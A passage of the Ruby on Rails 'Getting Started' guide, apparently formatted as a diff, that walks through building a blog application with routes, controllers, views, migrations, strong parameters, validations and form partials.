you should disable the `spring` +and `listen` gems which you can do by running `rails new blog --skip-spring --skip-listen`. + +TIP: You can see all of the command line options that the Rails application +builder accepts by running `rails new -h`. + +After you create the blog application, switch to its folder: + +```bash +$ cd blog +``` + +The `blog` directory has a number of auto-generated files and folders that make +up the structure of a Rails application. Most of the work in this tutorial will +happen in the `app` folder, but here's a basic rundown on the function of each +of the files and folders that Rails created by default: + +| File/Folder | Purpose | +| ----------- | ------- | +|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs, and assets for your application. You'll focus on this folder for the remainder of this guide.| +|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy, or run your application.| +|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| +|config.ru|Rack configuration for Rack based servers used to start the application. For more information about Rack, see the [Rack website](https://rack.github.io/).| +|db/|Contains your current database schema, as well as the database migrations.| +|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](https://bundler.io).| +|lib/|Extended modules for your application.| +|log/|Application log files.| +|package.json|This file allows you to specify what npm dependencies are needed for your Rails application. This file is used by Yarn. For more information about Yarn, see the [Yarn website](https://yarnpkg.com/lang/en/).| +|public/|The only folder seen by the world as-is. Contains static files and compiled assets.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `lib/tasks` directory of your application.| +|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| +|storage/|Active Storage files for Disk Service. This is covered in [Active Storage Overview](active_storage_overview.html).| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).| +|tmp/|Temporary files (like cache and pid files).| +|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| +|.gitignore|This file tells git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files. +|.ruby-version|This file contains the default Ruby version.| + +Hello, Rails! +------------- + +To begin with, let's get some text up on screen quickly. To do this, you need to +get your Rails application server running. + +### Starting up the Web Server + +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running the +following in the `blog` directory: + +```bash +$ rails server +``` + +TIP: If you are using Windows, you have to pass the scripts under the `bin` +folder directly to the Ruby interpreter e.g. `ruby bin\rails server`. + +TIP: Compiling CoffeeScript and JavaScript asset compression requires you +have a JavaScript runtime available on your system, in the absence +of a runtime you will see an `execjs` error during asset compilation. +Usually macOS and Windows come with a JavaScript runtime installed. +Rails adds the `mini_racer` gem to the generated `Gemfile` in a +commented line for new apps and you can uncomment if you need it. +`therubyrhino` is the recommended runtime for JRuby users and is added by +default to the `Gemfile` in apps generated under JRuby. You can investigate +all the supported runtimes at [ExecJS](https://github.com/rails/execjs#readme). + +This will fire up Puma, a web server distributed with Rails by default. To see +your application in action, open a browser window and navigate to +<http://localhost:3000>. You should see the Rails default information page: + + + +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. To verify the server has stopped you should see your command prompt +cursor again. For most UNIX-like systems including macOS this will be a +dollar sign `$`. In development mode, Rails does not generally require you to +restart the server; changes you make in files will be automatically picked up by +the server. + +The "Welcome aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. + +### Say "Hello", Rails + +To get Rails saying "Hello", you need to create at minimum a _controller_ and a +_view_. + +A controller's purpose is to receive specific requests for the application. +_Routing_ decides which controller receives which requests. Often, there is more +than one route to each controller, and different routes can be served by +different _actions_. Each action's purpose is to collect information to provide +it to a view. + +A view's purpose is to display this information in a human readable format. An +important distinction to make is that it is the _controller_, not the view, +where information is collected. The view should just display that information. +By default, view templates are written in a language called eRuby (Embedded +Ruby) which is processed by the request cycle in Rails before being sent to the +user. + +To create a new controller, you will need to run the "controller" generator and +tell it you want a controller called "Welcome" with an action called "index", +just like this: + +```bash +$ rails generate controller Welcome index +``` + +Rails will create several files and a route for you. + +```bash +create app/controllers/welcome_controller.rb + route get 'welcome/index' +invoke erb +create app/views/welcome +create app/views/welcome/index.html.erb +invoke test_unit +create test/controllers/welcome_controller_test.rb +invoke helper +create app/helpers/welcome_helper.rb +invoke test_unit +invoke assets +invoke scss +create app/assets/stylesheets/welcome.scss +``` + +Most important of these are of course the controller, located at +`app/controllers/welcome_controller.rb` and the view, located at +`app/views/welcome/index.html.erb`. + +Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all +of the existing code in the file, and replace it with the following single line +of code: + +```html +<h1>Hello, Rails!</h1> +``` + +### Setting the Application Home Page + +Now that we have made the controller and view, we need to tell Rails when we +want "Hello, Rails!" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, <http://localhost:3000>. At the moment, +"Welcome aboard" is occupying that spot. + +Next, you have to tell Rails where your actual home page is located. + +Open the file `config/routes.rb` in your editor. + +```ruby +Rails.application.routes.draw do + get 'welcome/index' + + # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html +end +``` + +This is your application's _routing file_ which holds entries in a special +[DSL (domain-specific language)](https://en.wikipedia.org/wiki/Domain-specific_language) +that tells Rails how to connect incoming requests to +controllers and actions. +Edit this file by adding the line of code `root 'welcome#index'`. +It should look something like the following: + +```ruby +Rails.application.routes.draw do + get 'welcome/index' + + root 'welcome#index' +end +``` + +`root 'welcome#index'` tells Rails to map requests to the root of the +application to the welcome controller's index action and `get 'welcome/index'` +tells Rails to map requests to <http://localhost:3000/welcome/index> to the +welcome controller's index action. This was created earlier when you ran the +controller generator (`rails generate controller Welcome index`). + +Launch the web server again if you stopped it to generate the controller (`rails +server`) and navigate to <http://localhost:3000> in your browser. You'll see the +"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`, +indicating that this new route is indeed going to `WelcomeController`'s `index` +action and is rendering the view correctly. + +TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html). + +Getting Up and Running +---------------------- + +Now that you've seen how to create a controller, an action, and a view, let's +create something with a bit more substance. + +In the Blog application, you will now create a new _resource_. A resource is the +term used for a collection of similar objects, such as articles, people, or +animals. +You can create, read, update, and destroy items for a resource and these +operations are referred to as _CRUD_ operations. + +Rails provides a `resources` method which can be used to declare a standard REST +resource. You need to add the _article resource_ to the +`config/routes.rb` so the file will look as follows: + +```ruby +Rails.application.routes.draw do + get 'welcome/index' + + resources :articles + + root 'welcome#index' +end +``` + +If you run `rails routes`, you'll see that it has defined routes for all the +standard RESTful actions. The meaning of the prefix column (and other columns) +will be seen later, but for now notice that Rails has inferred the +singular form `article` and makes meaningful use of the distinction. + +```bash +$ rails routes + Prefix Verb URI Pattern Controller#Action +welcome_index GET /welcome/index(.:format) welcome#index + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new + edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index +``` + +In the next section, you will add the ability to create new articles in your +application and be able to view them. This is the "C" and the "R" from CRUD: +create and read. The form for doing this will look like this: + + + +It will look a little basic for now, but that's ok. We'll look at improving the +styling for it afterwards. + +### Laying down the groundwork + +Firstly, you need a place within the application to create a new article. A +great place for that would be at `/articles/new`. With the route already +defined, requests can now be made to `/articles/new` in the application. +Navigate to <http://localhost:3000/articles/new> and you'll see a routing +error: + + + +This error occurs because the route needs to have a controller defined in order +to serve the request. The solution to this particular problem is simple: create +a controller called `ArticlesController`. You can do this by running this +command: + +```bash +$ rails generate controller Articles +``` + +If you open up the newly generated `app/controllers/articles_controller.rb` +you'll see a fairly empty controller: + +```ruby +class ArticlesController < ApplicationController +end +``` + +A controller is simply a class that is defined to inherit from +`ApplicationController`. +It's inside this class that you'll define methods that will become the actions +for this controller. These actions will perform CRUD operations on the articles +within our system. + +NOTE: There are `public`, `private` and `protected` methods in Ruby, +but only `public` methods can be actions for controllers. +For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). + +If you refresh <http://localhost:3000/articles/new> now, you'll get a new error: + + + +This error indicates that Rails cannot find the `new` action inside the +`ArticlesController` that you just generated. This is because when controllers +are generated in Rails they are empty by default, unless you tell it +your desired actions during the generation process. + +To manually define an action inside a controller, all you need to do is to +define a new method inside the controller. Open +`app/controllers/articles_controller.rb` and inside the `ArticlesController` +class, define the `new` method so that your controller now looks like this: + +```ruby +class ArticlesController < ApplicationController + def new + end +end +``` + +With the `new` method defined in `ArticlesController`, if you refresh +<http://localhost:3000/articles/new> you'll see another error: + +![Template is missing for articles/new] +(images/getting_started/template_is_missing_articles_new.png) + +You're getting this error now because Rails expects plain actions like this one +to have views associated with them to display their information. With no view +available, Rails will raise an exception. + +Let's look at the full error message again: + +>ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot. + +That's quite a lot of text! Let's quickly go through and understand what each +part of it means. + +The first part identifies which template is missing. In this case, it's the +`articles/new` template. Rails will first look for this template. If not found, +then it will attempt to load a template called `application/new`. It looks for +one here because the `ArticlesController` inherits from `ApplicationController`. + +The next part of the message contains `request.formats` which specifies +the format of template to be served in response. It is set to `text/html` as we +requested this page via browser, so Rails is looking for an HTML template. +`request.variant` specifies what kind of physical devices would be served by +the response and helps Rails determine which template to use in the response. +It is empty because no information has been provided. + +The simplest template that would work in this case would be one located at +`app/views/articles/new.html.erb`. The extension of this file name is important: +the first extension is the _format_ of the template, and the second extension +is the _handler_ that will be used to render the template. Rails is attempting +to find a template called `articles/new` within `app/views` for the +application. The format for this template can only be `html` and the default +handler for HTML is `erb`. Rails uses other handlers for other formats. +`builder` handler is used to build XML templates and `coffee` handler uses +CoffeeScript to build JavaScript templates. Since you want to create a new +HTML form, you will be using the `ERB` language which is designed to embed Ruby +in HTML. + +Therefore the file should be called `articles/new.html.erb` and needs to be +located inside the `app/views` directory of the application. + +Go ahead now and create a new file at `app/views/articles/new.html.erb` and +write this content in it: + +```html +<h1>New Article</h1> +``` + +When you refresh <http://localhost:3000/articles/new> you'll now see that the +page has a title. The route, controller, action, and view are now working +harmoniously! It's time to create the form for a new article. + +### The first form + +To create a form within this template, you will use a *form +builder*. The primary form builder for Rails is provided by a helper +method called `form_with`. To use this method, add this code into +`app/views/articles/new.html.erb`: + +```html+erb +<%= form_with scope: :article, local: true do |form| %> + <p> + <%= form.label :title %><br> + <%= form.text_field :title %> + </p> + + <p> + <%= form.label :text %><br> + <%= form.text_area :text %> + </p> + + <p> + <%= form.submit %> + </p> +<% end %> +``` + +If you refresh the page now, you'll see the exact same form from our example above. +Building forms in Rails is really just that easy! + +When you call `form_with`, you pass it an identifying scope for this +form. In this case, it's the symbol `:article`. This tells the `form_with` +helper what this form is for. Inside the block for this method, the +`FormBuilder` object - represented by `form` - is used to build two labels and two +text fields, one each for the title and text of an article. Finally, a call to +`submit` on the `form` object will create a submit button for the form. + +There's one problem with this form though. If you inspect the HTML that is +generated, by viewing the source of the page, you will see that the `action` +attribute for the form is pointing at `/articles/new`. This is a problem because +this route goes to the very page that you're on right at the moment, and that +route should only be used to display the form for a new article. + +The form needs to use a different URL in order to go somewhere else. +This can be done quite simply with the `:url` option of `form_with`. +Typically in Rails, the action that is used for new form submissions +like this is called "create", and so the form should be pointed to that action. + +Edit the `form_with` line inside `app/views/articles/new.html.erb` to look like +this: + +```html+erb +<%= form_with scope: :article, url: articles_path, local: true do |form| %> +``` + +In this example, the `articles_path` helper is passed to the `:url` option. +To see what Rails will do with this, we look back at the output of +`rails routes`: + +```bash +$ rails routes + Prefix Verb URI Pattern Controller#Action +welcome_index GET /welcome/index(.:format) welcome#index + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new + edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index +``` + +The `articles_path` helper tells Rails to point the form to the URI Pattern +associated with the `articles` prefix; and the form will (by default) send a +`POST` request to that route. This is associated with the `create` action of +the current controller, the `ArticlesController`. + +With the form and its associated route defined, you will be able to fill in the +form and then click the submit button to begin the process of creating a new +article, so go ahead and do that. When you submit the form, you should see a +familiar error: + +![Unknown action create for ArticlesController] +(images/getting_started/unknown_action_create_for_articles.png) + +You now need to create the `create` action within the `ArticlesController` for +this to work. + +NOTE: By default `form_with` submits forms using Ajax thereby skipping full page +redirects. To make this guide easier to get into we've disabled that with +`local: true` for now. + +### Creating articles + +To make the "Unknown action" go away, you can define a `create` action within +the `ArticlesController` class in `app/controllers/articles_controller.rb`, +underneath the `new` action, as shown: + +```ruby +class ArticlesController < ApplicationController + def new + end + + def create + end +end +``` + +If you re-submit the form now, you may not see any change on the page. Don't worry! +This is because Rails by default returns `204 No Content` response for an action if +we don't specify what the response should be. We just added the `create` action +but didn't specify anything about how the response should be. In this case, the +`create` action should save our new article to the database. + +When a form is submitted, the fields of the form are sent to Rails as +_parameters_. These parameters can then be referenced inside the controller +actions, typically to perform a particular task. To see what these parameters +look like, change the `create` action to this: + +```ruby +def create + render plain: params[:article].inspect +end +``` + +The `render` method here is taking a very simple hash with a key of `:plain` and +value of `params[:article].inspect`. The `params` method is the object which +represents the parameters (or fields) coming in from the form. The `params` +method returns an `ActionController::Parameters` object, which +allows you to access the keys of the hash using either strings or symbols. In +this situation, the only parameters that matter are the ones from the form. + +TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com". + +If you re-submit the form one more time, you'll see something that looks like the following: + +```ruby +<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false> +``` + +This action is now displaying the parameters for the article that are coming in +from the form. However, this isn't really all that helpful. Yes, you can see the +parameters but nothing in particular is being done with them. + +### Creating the Article model + +Models in Rails use a singular name, and their corresponding database tables +use a plural name. Rails provides a generator for creating models, which most +Rails developers tend to use when creating new models. To create the new model, +run this command in your terminal: + +```bash +$ rails generate model Article title:string text:text +``` + +With that command we told Rails that we want an `Article` model, together +with a _title_ attribute of type string, and a _text_ attribute +of type text. Those attributes are automatically added to the `articles` +table in the database and mapped to the `Article` model. + +Rails responded by creating a bunch of files. For now, we're only interested +in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb` +(your name could be a bit different). The latter is responsible for creating +the database structure, which is what we'll look at next. + +TIP: Active Record is smart enough to automatically map column names to model +attributes, which means you don't have to declare attributes inside Rails +models, as that will be done automatically by Active Record. + +### Running a Migration + +As we've just seen, `rails generate model` created a _database migration_ file +inside the `db/migrate` directory. Migrations are Ruby classes that are +designed to make it simple to create and modify database tables. Rails uses +rake commands to run migrations, and it's possible to undo a migration after +it's been applied to your database. Migration filenames include a timestamp to +ensure that they're processed in the order that they were created. + +If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file +(remember, yours will have a slightly different name), here's what you'll find: + +```ruby +class CreateArticles < ActiveRecord::Migration[5.0] + def change + create_table :articles do |t| + t.string :title + t.text :text + + t.timestamps + end + end +end +``` + +The above migration creates a method named `change` which will be called when +you run this migration. The action defined in this method is also reversible, +which means Rails knows how to reverse the change made by this migration, +in case you want to reverse it later. When you run this migration it will create +an `articles` table with one string column and a text column. It also creates +two timestamp fields to allow Rails to track article creation and update times. + +TIP: For more information about migrations, refer to [Active Record Migrations] +(active_record_migrations.html). + +At this point, you can use a rails command to run the migration: + +```bash +$ rails db:migrate +``` + +Rails will execute this migration command and tell you it created the Articles +table. + +```bash +== CreateArticles: migrating ================================================== +-- create_table(:articles) + -> 0.0019s +== CreateArticles: migrated (0.0020s) ========================================= +``` + +NOTE. Because you're working in the development environment by default, this +command will apply to the database defined in the `development` section of your +`config/database.yml` file. If you would like to execute migrations in another +environment, for instance in production, you must explicitly pass it when +invoking the command: `rails db:migrate RAILS_ENV=production`. + +### Saving data in the controller + +Back in `ArticlesController`, we need to change the `create` action +to use the new `Article` model to save the data in the database. +Open `app/controllers/articles_controller.rb` and change the `create` action to +look like this: + +```ruby +def create + @article = Article.new(params[:article]) + + @article.save + redirect_to @article +end +``` + +Here's what's going on: every Rails model can be initialized with its +respective attributes, which are automatically mapped to the respective +database columns. In the first line we do just that (remember that +`params[:article]` contains the attributes we're interested in). Then, +`@article.save` is responsible for saving the model in the database. Finally, +we redirect the user to the `show` action, which we'll define later. + +TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter. + +TIP: As we'll see later, `@article.save` returns a boolean indicating whether +the article was saved or not. + +If you now go to <http://localhost:3000/articles/new> you'll *almost* be able +to create an article. Try it! You should get an error that looks like this: + +![Forbidden attributes for new article] +(images/getting_started/forbidden_attributes_for_new_article.png) + +Rails has several security features that help you write secure applications, +and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters), +which requires us to tell Rails exactly which parameters are allowed into our +controller actions. + +Why do you have to bother? The ability to grab and automatically assign all +controller parameters to your model in one shot makes the programmer's job +easier, but this convenience also allows malicious use. What if a request to +the server was crafted to look like a new article form submit but also included +extra fields with values that violated your application's integrity? They would +be 'mass assigned' into your model and then into the database along with the +good stuff - potentially breaking your application or worse. + +We have to define our permitted controller parameters to prevent wrongful mass +assignment. In this case, we want to both allow and require the `title` and +`text` parameters for valid use of `create`. The syntax for this introduces +`require` and `permit`. The change will involve one line in the `create` +action: + +```ruby + @article = Article.new(params.require(:article).permit(:title, :text)) +``` + +This is often factored out into its own method so it can be reused by multiple +actions in the same controller, for example `create` and `update`. Above and +beyond mass assignment issues, the method is often made `private` to make sure +it can't be called outside its intended context. Here is the result: + +```ruby +def create + @article = Article.new(article_params) + + @article.save + redirect_to @article +end + +private + def article_params + params.require(:article).permit(:title, :text) + end +``` + +TIP: For more information, refer to the reference above and +[this blog article about Strong Parameters] +(https://weblog.rubyonrails.org/2012/3/21/strong-parameters/). + +### Showing Articles + +If you submit the form again now, Rails will complain about not finding the +`show` action. That's not very useful though, so let's add the `show` action +before proceeding. + +As we have seen in the output of `rails routes`, the route for `show` action is +as follows: + +``` +article GET /articles/:id(.:format) articles#show +``` + +The special syntax `:id` tells rails that this route expects an `:id` +parameter, which in our case will be the id of the article. + +As we did before, we need to add the `show` action in +`app/controllers/articles_controller.rb` and its respective view. + +NOTE: A frequent practice is to place the standard CRUD actions in each +controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update` +and `destroy`. You may use any order you choose, but keep in mind that these +are public methods; as mentioned earlier in this guide, they must be placed +before declaring `private` visibility in the controller. + +Given that, let's add the `show` action, as follows: + +```ruby +class ArticlesController < ApplicationController + def show + @article = Article.find(params[:id]) + end + + def new + end + + # snippet for brevity +``` + +A couple of things to note. We use `Article.find` to find the article we're +interested in, passing in `params[:id]` to get the `:id` parameter from the +request. We also use an instance variable (prefixed with `@`) to hold a +reference to the article object. We do this because Rails will pass all instance +variables to the view. + +Now, create a new file `app/views/articles/show.html.erb` with the following +content: + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> +``` + +With this change, you should finally be able to create new articles. +Visit <http://localhost:3000/articles/new> and give it a try! + + + +### Listing all articles + +We still need a way to list all our articles, so let's do that. +The route for this as per output of `rails routes` is: + +``` +articles GET /articles(.:format) articles#index +``` + +Add the corresponding `index` action for that route inside the +`ArticlesController` in the `app/controllers/articles_controller.rb` file. +When we write an `index` action, the usual practice is to place it as the +first method in the controller. Let's do it: + +```ruby +class ArticlesController < ApplicationController + def index + @articles = Article.all + end + + def show + @article = Article.find(params[:id]) + end + + def new + end + + # snippet for brevity +``` + +And then finally, add the view for this action, located at +`app/views/articles/index.html.erb`: + +```html+erb +<h1>Listing articles</h1> + +<table> + <tr> + <th>Title</th> + <th>Text</th> + <th></th> + </tr> + + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + </tr> + <% end %> +</table> +``` + +Now if you go to <http://localhost:3000/articles> you will see a list of all the +articles that you have created. + +### Adding links + +You can now create, show, and list articles. Now let's add some links to +navigate through pages. + +Open `app/views/welcome/index.html.erb` and modify it as follows: + +```html+erb +<h1>Hello, Rails!</h1> +<%= link_to 'My Blog', controller: 'articles' %> +``` + +The `link_to` method is one of Rails' built-in view helpers. It creates a +hyperlink based on text to display and where to go - in this case, to the path +for articles. + +Let's add links to the other views as well, starting with adding this +"New Article" link to `app/views/articles/index.html.erb`, placing it above the +`<table>` tag: + +```erb +<%= link_to 'New article', new_article_path %> +``` + +This link will allow you to bring up the form that lets you create a new article. + +Now, add another link in `app/views/articles/new.html.erb`, underneath the +form, to go back to the `index` action: + +```erb +<%= form_with scope: :article, url: articles_path, local: true do |form| %> + ... +<% end %> + +<%= link_to 'Back', articles_path %> +``` + +Finally, add a link to the `app/views/articles/show.html.erb` template to +go back to the `index` action as well, so that people who are viewing a single +article can go back and view the whole list again: + +```html+erb +<p> + <strong>Title:</strong> + <%= @article.title %> +</p> + +<p> + <strong>Text:</strong> + <%= @article.text %> +</p> + +<%= link_to 'Back', articles_path %> +``` + +TIP: If you want to link to an action in the same controller, you don't need to +specify the `:controller` option, as Rails will use the current controller by +default. + +TIP: In development mode (which is what you're working in by default), Rails +reloads your application with every browser request, so there's no need to stop +and restart the web server when a change is made. + +### Adding Some Validation + +The model file, `app/models/article.rb` is about as simple as it can get: + +```ruby +class Article < ApplicationRecord +end +``` + +There isn't much to this file - but note that the `Article` class inherits from +`ApplicationRecord`. `ApplicationRecord` inherits from `ActiveRecord::Base` +which supplies a great deal of functionality to your Rails models for free, +including basic database CRUD (Create, Read, Update, Destroy) operations, data +validation, as well as sophisticated search support and the ability to relate +multiple models to one another. + +Rails includes methods to help you validate the data that you send to models. +Open the `app/models/article.rb` file and edit it: + +```ruby +class Article < ApplicationRecord + validates :title, presence: true, + length: { minimum: 5 } +end +``` + +These changes will ensure that all articles have a title that is at least five +characters long. Rails can validate a variety of conditions in a model, +including the presence or uniqueness of columns, their format, and the +existence of associated objects. Validations are covered in detail in [Active +Record Validations](active_record_validations.html). + +With the validation now in place, when you call `@article.save` on an invalid +article, it will return `false`. If you open +`app/controllers/articles_controller.rb` again, you'll notice that we don't +check the result of calling `@article.save` inside the `create` action. +If `@article.save` fails in this situation, we need to show the form back to the +user. To do this, change the `new` and `create` actions inside +`app/controllers/articles_controller.rb` to these: + +```ruby +def new + @article = Article.new +end + +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end +end + +private + def article_params + params.require(:article).permit(:title, :text) + end +``` + +The `new` action is now creating a new instance variable called `@article`, and +you'll see why that is in just a few moments. + +Notice that inside the `create` action we use `render` instead of `redirect_to` +when `save` returns `false`. The `render` method is used so that the `@article` +object is passed back to the `new` template when it is rendered. This rendering +is done within the same request as the form submission, whereas the +`redirect_to` will tell the browser to issue another request. + +If you reload +<http://localhost:3000/articles/new> and +try to save an article without a title, Rails will send you back to the +form, but that's not very useful. You need to tell the user that +something went wrong. To do that, you'll modify +`app/views/articles/new.html.erb` to check for error messages: + +```html+erb +<%= form_with scope: :article, url: articles_path, local: true do |form| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <p> + <%= form.label :title %><br> + <%= form.text_field :title %> + </p> + + <p> + <%= form.label :text %><br> + <%= form.text_area :text %> + </p> + + <p> + <%= form.submit %> + </p> + +<% end %> + +<%= link_to 'Back', articles_path %> +``` + +A few things are going on. We check if there are any errors with +`@article.errors.any?`, and in that case we show a list of all +errors with `@article.errors.full_messages`. + +`pluralize` is a rails helper that takes a number and a string as its +arguments. If the number is greater than one, the string will be automatically +pluralized. + +The reason why we added `@article = Article.new` in the `ArticlesController` is +that otherwise `@article` would be `nil` in our view, and calling +`@article.errors.any?` would throw an error. + +TIP: Rails automatically wraps fields that contain an error with a div +with class `field_with_errors`. You can define a CSS rule to make them +standout. + +Now you'll get a nice error message when saving an article without a title when +you attempt to do just that on the new article form +<http://localhost:3000/articles/new>: + + + +### Updating Articles + +We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating +articles. + +The first step we'll take is adding an `edit` action to the `ArticlesController`, +generally between the `new` and `create` actions, as shown: + +```ruby +def new + @article = Article.new +end + +def edit + @article = Article.find(params[:id]) +end + +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end +end +``` + +The view will contain a form similar to the one we used when creating +new articles. Create a file called `app/views/articles/edit.html.erb` and make +it look as follows: + +```html+erb +<h1>Edit article</h1> + +<%= form_with(model: @article, local: true) do |form| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <p> + <%= form.label :title %><br> + <%= form.text_field :title %> + </p> + + <p> + <%= form.label :text %><br> + <%= form.text_area :text %> + </p> + + <p> + <%= form.submit %> + </p> + +<% end %> + +<%= link_to 'Back', articles_path %> +``` + +This time we point the form to the `update` action, which is not defined yet +but will be very soon. + +Passing the article object to the `form_with` method will automatically set the URL for +submitting the edited article form. This option tells Rails that we want this +form to be submitted via the `PATCH` HTTP method, which is the HTTP method you're +expected to use to **update** resources according to the REST protocol. + +Also, passing a model object to `form_with`, like `model: @article` in the edit +view above, will cause form helpers to fill in form fields with the corresponding +values of the object. Passing in a symbol scope such as `scope: :article`, as +was done in the new view, only creates empty form fields. +More details can be found in [form_with documentation] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with). + +Next, we need to create the `update` action in +`app/controllers/articles_controller.rb`. +Add it between the `create` action and the `private` method: + +```ruby +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end +end + +def update + @article = Article.find(params[:id]) + + if @article.update(article_params) + redirect_to @article + else + render 'edit' + end +end + +private + def article_params + params.require(:article).permit(:title, :text) + end +``` + +The new method, `update`, is used when you want to update a record +that already exists, and it accepts a hash containing the attributes +that you want to update. As before, if there was an error updating the +article we want to show the form back to the user. + +We reuse the `article_params` method that we defined earlier for the create +action. + +TIP: It is not necessary to pass all the attributes to `update`. For example, +if `@article.update(title: 'A new title')` was called, Rails would only update +the `title` attribute, leaving all other attributes untouched. + +Finally, we want to show a link to the `edit` action in the list of all the +articles, so let's add that now to `app/views/articles/index.html.erb` to make +it appear next to the "Show" link: + +```html+erb +<table> + <tr> + <th>Title</th> + <th>Text</th> + <th colspan="2"></th> + </tr> + + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + </tr> + <% end %> +</table> +``` + +And we'll also add one to the `app/views/articles/show.html.erb` template as +well, so that there's also an "Edit" link on an article's page. Add this at the +bottom of the template: + +```html+erb +... + +<%= link_to 'Edit', edit_article_path(@article) %> | +<%= link_to 'Back', articles_path %> +``` + +And here's how our app looks so far: + + + +### Using partials to clean up duplication in views + +Our `edit` page looks very similar to the `new` page; in fact, they +both share the same code for displaying the form. Let's remove this +duplication by using a view partial. By convention, partial files are +prefixed with an underscore. + +TIP: You can read more about partials in the +[Layouts and Rendering in Rails](layouts_and_rendering.html) guide. + +Create a new file `app/views/articles/_form.html.erb` with the following +content: + +```html+erb +<%= form_with model: @article, local: true do |form| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <p> + <%= form.label :title %><br> + <%= form.text_field :title %> + </p> + + <p> + <%= form.label :text %><br> + <%= form.text_area :text %> + </p> + + <p> + <%= form.submit %> + </p> + +<% end %> +``` + +Everything except for the `form_with` declaration remained the same. +The reason we can use this shorter, simpler `form_with` declaration +to stand in for either of the other forms is that `@article` is a *resource* +corresponding to a full set of RESTful routes, and Rails is able to infer +which URI and method to use. +For more information about this use of `form_with`, see [Resource-oriented style] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with-label-Resource-oriented+style). + +Now, let's update the `app/views/articles/new.html.erb` view to use this new +partial, rewriting it completely: + +```html+erb +<h1>New article</h1> + +<%= render 'form' %> + +<%= link_to 'Back', articles_path %> +``` + +Then do the same for the `app/views/articles/edit.html.erb` view: + +```html+erb +<h1>Edit article</h1> + +<%= render 'form' %> + +<%= link_to 'Back', articles_path %> +``` + +### Deleting Articles + +We're now ready to cover the "D" part of CRUD, deleting articles from the +database. Following the REST convention, the route for +deleting articles as per output of `rails routes` is: + +```ruby +DELETE /articles/:id(.:format) articles#destroy +``` + +The `delete` routing method should be used for routes that destroy +resources. If this was left as a typical `get` route, it could be 